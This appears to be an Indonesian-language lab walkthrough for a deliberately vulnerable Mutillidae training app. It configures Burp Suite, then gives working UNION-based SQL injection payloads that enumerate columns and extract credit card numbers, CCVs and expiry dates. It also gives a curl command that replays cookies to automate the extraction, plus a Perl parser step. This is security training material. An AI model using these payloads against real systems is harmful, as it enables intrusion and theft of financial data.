Lesson 8 - SQL Injection Union Exploit #1
# Mempersiapkan Burp Suite dan Firefox
- Step 1 : Buka halaman user info. Pilih sidebar. OWASP Top 10 --> A1 - SQL Injection --> SQLi - Extract Data --> User Info
Step 2 : Setting proxy pada firefox dengan membuka pengaturan network melalui open menu --> Preferences -> Advanced --> Network
Step 3 : Pada bagian connection, klik tombol Settings. Setelah mengklik tombol Settings, maka akan muncul kotak dialog Connection Settings. Atur Connection Settings sesuai gambar.
Step 4 : Buka burpsuite, dengan cara pilih Applications --> Web Application Analysis --> burpsuite
Step 5 : Pada saat burpsuite telah dibuka, maka akan ditanyakan tentang project. Klik tombol Next
Step 6 : Setelah menekan tombol next, maka selanjutnya ada memilih konfigurasi burp. Pilih radio button User Burp defaults dan Klik Start Burp
Step 7 : Setelah menekan tombol Start Burp, maka aplikasi Burp Suite sudah berjalan. Langkah selanjutnya adalah memastikan apakah port proxy pada Burp Suite adalah 8080, dengan cara memilih menu Proxy --> Options
Step 8 : Setelah memastikan port porxy 8080, maka selanjutnya adalah mematikan Intercept pada menu Proxy --> Intercept.
# SQL Injection (Union Example #1)
- Step 1 : Buka halaman user info. Pilih sidebar. OWASP Top 10 --> A1 - SQL Injection --> SQLi - Extract Data --> User Info
Step 2 : Ubah ukuran text box username menjadi 100% menggunakan inspect element agar text box lebih panjang untuk menuliskan syntax SQL Injection.
Step 3 : Masukkan syntax sql
' union select null --
pada text box name untuk perbocaan pertama melakukan sql injection dan tekan tombol View Account Details.Step 4 : Setelah menekan tombol View Account Details, maka akan terjadi error query karena jumlah kolom dan kolom union berbeda.
Step 5 : Lakukan Step 2 kembali. Setelah melakukan Step 2, lakukan kembali Step 3 dengan menambah
null
pada syntax query sql injection. Contoh penambahannull
pada query sql injection' union select null,null --
.Step 6 : Lakukan Step 5 sampai jumlah kolom union dan kolom table accounts sama.
' union select null,null,null,null,null --
adalah syntax query hasil percobaan Step 5. Dapat disimpulkan jumlah kolom pada table accounts adalah 5.Step 7 : Masukkan query sql injection
' union select null,null,null,null,null --
pada textbox name. Dan kemudian tekan tombol View Account Details.Step 8 : Setelah menekan tombol View Account Details, maka hasilnya akan menunjukan kolom yang ditampilkan pada web.
Step 9 : Lakukan Step 7 kembali dengan mengganti
null
menjadi angka dengan query sql injection sebagai berikut' union select 1,2,3,4,5 --
Step 10 : Dapat dilihat dari hasil percobaan Step 9 bahwa kolom username diisi oleh nomer 2, password diisi oleh nomer 3 dan Signature diisi oleh nomer 4.
Step 11 : Langkah selanjutnya adalah melakukan serangan sql injection dengan menggabungkan dengan tabel yang sudah diketahui selain accounts. Contohnya menggunakan tabel credit_cards, sehingga query sql injectionnya menjadi
' union select ccid,ccnumber,ccv,expiration,null from credit_cards --
Step 12 : Maka hasilnya, bagian username diisi oleh ccnnumber, password diisi oleh ccv, dan signature diisi oleh expiration.
# Curl Action
Step 1 : Buka Burp Suite dan cari log hasil sniffing pada step 12 pada bagian SQL Injection (Union Example #1), kemudian catat/copas raw header request.
Step 2 : Copas Cookie pada hasil header dan masukkan pada file crack_cookies.txt
Step 3 : Jalankan perintah
curl -b crack_cookies.txt -c crack_cookies.txt --user-agent "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)" --data "page=user-info.php&username=%27+union+select+ccid%2Cccnumber%2Cccv%2Cexpiration%2Cnull+from+credit_cards+--+&password=&user-info-php-submit-button=View+Account+Details" --location "http://10.151.36.64/mutillidae/index.php" | grep -i "Username=" | awk 'BEGIN{FS="<"}{for (i=1; i<=NF; i++) print $i}' | awk -F\> '{print $2}'
dan lihat hasilnya. Hasilnya adalah data hasil sql injection.
# Perl Parser
- Step 1 : Download lesson8.pl pada link berikut http://www.computersecuritystudent.com/SECURITY_TOOLS/MUTILLIDAE/MUTILLIDAE_2511/lesson8/lesson8.pl.TXT
- Step 2 : Ganti nama lesson8.pl.TXT menjadi lesson8.pl dan ubah permission menjadi
rwx------
atau 700. - Step 3 : Jalankan perintah
curl -b crack_cookies.txt -c crack_cookies.txt --user-agent "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)" --data "page=user-info.php&username=%27+union+select+ccid%2Cccnumber%2Cccv%2Cexpiration%2Cnull+from+credit_cards+--+&password=&user-info-php-submit-button=View+Account+Details" --location "http://10.151.36.64/mutillidae/index.php" | grep -i "Username=" > lesson8.txt
- Step 4 : Setelah menjalankan perintah tersebut maka hasil perintah pada Step 3 disimpan pada file lesson8.txt.
- Step 5 : Jalankan file lesson8.pl dan lihat hasilnya.